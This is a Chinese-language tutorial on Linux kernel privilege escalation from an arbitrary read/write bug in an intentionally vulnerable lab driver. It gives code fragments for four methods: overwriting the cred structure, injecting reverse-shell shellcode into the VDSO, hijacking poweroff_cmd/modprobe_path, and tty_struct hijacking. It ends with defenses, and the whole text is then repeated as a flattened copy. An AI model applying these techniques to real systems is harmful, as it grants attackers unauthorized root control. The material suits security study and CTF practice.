linux内核提权系列教程(2):任意地址读写到提权的4种方法
字数 2190 2025-08-25 22:59:09

Linux内核提权教程:从任意地址读写到提权的4种方法

一、漏洞分析

1. 漏洞代码概述

本教程分析的漏洞存在于一个Linux内核驱动中,该驱动提供了以下功能:

  • ARBITRARY_RW_INIT:初始化全局对象,分配指定大小的内存
  • ARBITRARY_RW_REALLOC:重新分配内存大小(可扩展或缩小)
  • ARBITRARY_RW_READ:从内存中读取数据
  • ARBITRARY_RW_SEEK:设置读写位置
  • ARBITRARY_RW_WRITE:向内存中写入数据

全局对象结构定义如下:

typedef struct mem_buffer {
    size_t data_size;
    char *data;
    loff_t pos;
} mem_buffer;

2. 关键漏洞点

漏洞存在于realloc_mem_buffer()函数中:

static int realloc_mem_buffer(realloc_args *args) {
    if (g_mem_buffer == NULL) return -EINVAL;
    size_t new_size;
    char *new_data;
    
    if (args->grow)
        new_size = g_mem_buffer->data_size + args->size;
    else
        new_size = g_mem_buffer->data_size - args->size;
        
    new_data = krealloc(g_mem_buffer->data, new_size + 1, GFP_KERNEL);
    if (new_data == NULL) return -ENOMEM;
    
    g_mem_buffer->data = new_data;
    g_mem_buffer->data_size = new_size;
    return 0;
}

漏洞原因

  1. 未检查args->size的正负,可以传入负数
  2. 当传入特定负数时,可使new_size变为-1
  3. krealloc(0)会返回ZERO_SIZE_PTR(即0x10)
  4. 最终g_mem_buffer->data指向0x10,data_size为0xffffffffffffffff
  5. 读写操作时只检查(count + pos) < g_mem_buffer->data_size,导致任意地址读写

二、漏洞利用方法

方法1:修改cred结构提权

1. cred结构体分析

cred结构体表示线程的权限,前28字节包含UID/GID等信息:

struct cred {
    atomic_t usage;
    kuid_t uid;     /* real UID */
    kgid_t gid;     /* real GID */
    kuid_t suid;    /* saved UID */
    kgid_t sgid;    /* saved GID */
    kuid_t euid;    /* effective UID */
    kgid_t egid;    /* effective GID */
    kuid_t fsuid;   /* UID for VFS ops */
    kgid_t fsgid;   /* GID for VFS ops */
    // ...
};

2. 利用步骤

  1. 设置标记:使用prctl(PR_SET_NAME, "try2findmesauce")设置线程名
  2. 搜索cred
    • 爆破内核内存范围(0xffff880000000000~0xffffc80000000000)
    • 查找标记字符串"try2findmesauce"
    • 通过偏移找到cred结构体指针
  3. 修改cred:将cred结构前28字节写0

3. 关键代码

// 设置线程名
prctl(PR_SET_NAME, "try2findmesauce");

// 爆破搜索cred
for(size_t addr = START_ADDR; addr < END_ADDR; addr += 0x1000) {
    read_mem(fd, addr, buf, 0x1000);
    result = memmem(buf, 0x1000, target, 16);
    if(result) {
        cred = *(size_t*)(result - 0x8);
        real_cred = *(size_t*)(result - 0x10);
        if((cred || 0xff00000000000000) && (real_cred == cred)) {
            // 找到cred地址
            break;
        }
    }
}

// 修改cred提权
memset(root_cred, 0, 28);
write_mem(fd, cred, root_cred, 28);

方法2:劫持VDSO提权

1. VDSO简介

VDSO(Virtual Dynamic Shared Object)是内核映射到用户空间的内存区域,用于加速系统调用。特点:

  • 内核态可读可写
  • 用户态可读可执行
  • 地址范围:0xffffffff80000000~0xffffffffffffefff

2. 利用步骤

  1. 获取VDSO地址:爆破或通过getauxval(AT_SYSINFO_EHDR)
  2. 修改VDSO
    • 劫持task_prctlset_memory_rw
    • 修改VDSO为可写属性
    • 注入shellcode(通常放在gettimeofday附近)
  3. 触发shellcode:通过不断调用gettimeofday触发

3. Shellcode示例

反弹shell shellcode应:

  1. 检查当前进程是否为root(通过getuid
  2. 如果是root则创建反弹shell
  3. 非root进程继续正常执行

4. 关键代码

// 查找VDSO中的gettimeofday偏移
unsigned long sysinfo_ehdr = getauxval(AT_SYSINFO_EHDR);
result = memmem(sysinfo_ehdr, 0x1000, "gettimeofday", 12);

// 写入shellcode
write_mem(fd, vdso_addr + offset, shellcode, sizeof(shellcode));

// 触发shellcode的进程
while(1) {
    gettimeofday();
    sleep(1);
}

方法3:利用call_usermodehelper提权

1. call_usermodehelper原理

call_usermodehelper允许内核直接执行用户空间程序,且具有root权限。可以劫持以下全局变量:

  1. modprobe_path:默认为"/sbin/modprobe"
  2. poweroff_cmd:默认为"/sbin/poweroff"
  3. uevent_helper:默认为CONFIG_UEVENT_HELPER_PATH
  4. ocfs2_hb_ctl_path:默认为"/sbin/ocfs2_hb_ctl"
  5. nfs_cache_getent_prog:默认为"/sbin/nfs_cache_getent"
  6. cltrack_prog:默认为"/sbin/nfsdcltrack"

2. 利用步骤(以poweroff_cmd为例)

  1. 获取任意读写能力:利用漏洞
  2. 泄露内核基址:通过VDSO地址计算
  3. 修改poweroff_cmd:指向恶意命令
  4. 触发执行:调用__orderly_poweroff

3. 关键代码

// 修改poweroff_cmd
char *evil_cmd = "/bin/chmod 777 /flag\x00";
write_mem(fd, poweroff_cmd_addr, evil_cmd, strlen(evil_cmd)+1);

// 触发执行(通过劫持prctl等函数)

方法4:劫持tty_struct

1. 利用思路

  1. 劫持tty设备的操作函数表
  2. 通过write或ioctl操作触发shellcode
  3. 需要找到合适的gadget控制执行流

2. 关键技术点

  • 寻找mov rsp, rax或类似gadget
  • 构造ROP链或直接执行shellcode
  • 通过tty操作触发漏洞

三、防御措施

  1. 输入验证:严格检查用户传入的参数范围
  2. 内存保护
    • 启用KASLR
    • 启用SMEP/SMAP
  3. 权限控制
    • 限制敏感全局变量的修改
    • 使用capabilities细化权限
  4. 代码审计
    • 检查所有内存分配操作
    • 验证指针使用前是否有效

四、实验环境搭建

实验所需文件:

  • 驱动源码
  • bzImage(内核镜像)
  • cpio文件(根文件系统)

可从作者GitHub获取完整实验环境。

五、总结

本教程详细分析了从任意地址读写漏洞到提权的四种方法:

  1. 直接修改cred结构体
  2. 劫持VDSO注入shellcode
  3. 利用call_usermodehelper执行命令
  4. 劫持tty_struct控制执行流

每种方法各有优缺点,实际利用中需根据目标环境选择最合适的方式。理解这些技术有助于更好地防御内核提权攻击。

Linux内核提权教程:从任意地址读写到提权的4种方法 一、漏洞分析 1. 漏洞代码概述 本教程分析的漏洞存在于一个Linux内核驱动中,该驱动提供了以下功能: ARBITRARY_ RW_ INIT :初始化全局对象,分配指定大小的内存 ARBITRARY_ RW_ REALLOC :重新分配内存大小(可扩展或缩小) ARBITRARY_ RW_ READ :从内存中读取数据 ARBITRARY_ RW_ SEEK :设置读写位置 ARBITRARY_ RW_ WRITE :向内存中写入数据 全局对象结构定义如下: 2. 关键漏洞点 漏洞存在于 realloc_mem_buffer() 函数中: 漏洞原因 : 未检查 args->size 的正负,可以传入负数 当传入特定负数时,可使 new_size 变为-1 krealloc(0) 会返回 ZERO_SIZE_PTR (即0x10) 最终 g_mem_buffer->data 指向0x10, data_size 为0xffffffffffffffff 读写操作时只检查 (count + pos) < g_mem_buffer->data_size ,导致任意地址读写 二、漏洞利用方法 方法1:修改cred结构提权 1. cred结构体分析 cred结构体表示线程的权限,前28字节包含UID/GID等信息: 2. 利用步骤 设置标记 :使用 prctl(PR_SET_NAME, "try2findmesauce") 设置线程名 搜索cred : 爆破内核内存范围(0xffff880000000000~0xffffc80000000000) 查找标记字符串"try2findmesauce" 通过偏移找到cred结构体指针 修改cred :将cred结构前28字节写0 3. 关键代码 方法2:劫持VDSO提权 1. VDSO简介 VDSO(Virtual Dynamic Shared Object)是内核映射到用户空间的内存区域,用于加速系统调用。特点: 内核态可读可写 用户态可读可执行 地址范围:0xffffffff80000000~0xffffffffffffefff 2. 利用步骤 获取VDSO地址 :爆破或通过 getauxval(AT_SYSINFO_EHDR) 修改VDSO : 劫持 task_prctl 为 set_memory_rw 修改VDSO为可写属性 注入shellcode(通常放在 gettimeofday 附近) 触发shellcode :通过不断调用 gettimeofday 触发 3. Shellcode示例 反弹shell shellcode应: 检查当前进程是否为root(通过 getuid ) 如果是root则创建反弹shell 非root进程继续正常执行 4. 关键代码 方法3:利用call_ usermodehelper提权 1. call_ usermodehelper原理 call_usermodehelper 允许内核直接执行用户空间程序,且具有root权限。可以劫持以下全局变量: modprobe_path :默认为"/sbin/modprobe" poweroff_cmd :默认为"/sbin/poweroff" uevent_helper :默认为CONFIG_ UEVENT_ HELPER_ PATH ocfs2_hb_ctl_path :默认为"/sbin/ocfs2_ hb_ ctl" nfs_cache_getent_prog :默认为"/sbin/nfs_ cache_ getent" cltrack_prog :默认为"/sbin/nfsdcltrack" 2. 利用步骤(以poweroff_ cmd为例) 获取任意读写能力 :利用漏洞 泄露内核基址 :通过VDSO地址计算 修改poweroff_ cmd :指向恶意命令 触发执行 :调用 __orderly_poweroff 3. 关键代码 方法4:劫持tty_ struct 1. 利用思路 劫持tty设备的操作函数表 通过write或ioctl操作触发shellcode 需要找到合适的gadget控制执行流 2. 关键技术点 寻找 mov rsp, rax 或类似gadget 构造ROP链或直接执行shellcode 通过tty操作触发漏洞 三、防御措施 输入验证 :严格检查用户传入的参数范围 内存保护 : 启用KASLR 启用SMEP/SMAP 权限控制 : 限制敏感全局变量的修改 使用capabilities细化权限 代码审计 : 检查所有内存分配操作 验证指针使用前是否有效 四、实验环境搭建 实验所需文件: 驱动源码 bzImage(内核镜像) cpio文件(根文件系统) 可从作者GitHub获取完整实验环境。 五、总结 本教程详细分析了从任意地址读写漏洞到提权的四种方法: 直接修改cred结构体 劫持VDSO注入shellcode 利用call_ usermodehelper执行命令 劫持tty_ struct控制执行流 每种方法各有优缺点,实际利用中需根据目标环境选择最合适的方式。理解这些技术有助于更好地防御内核提权攻击。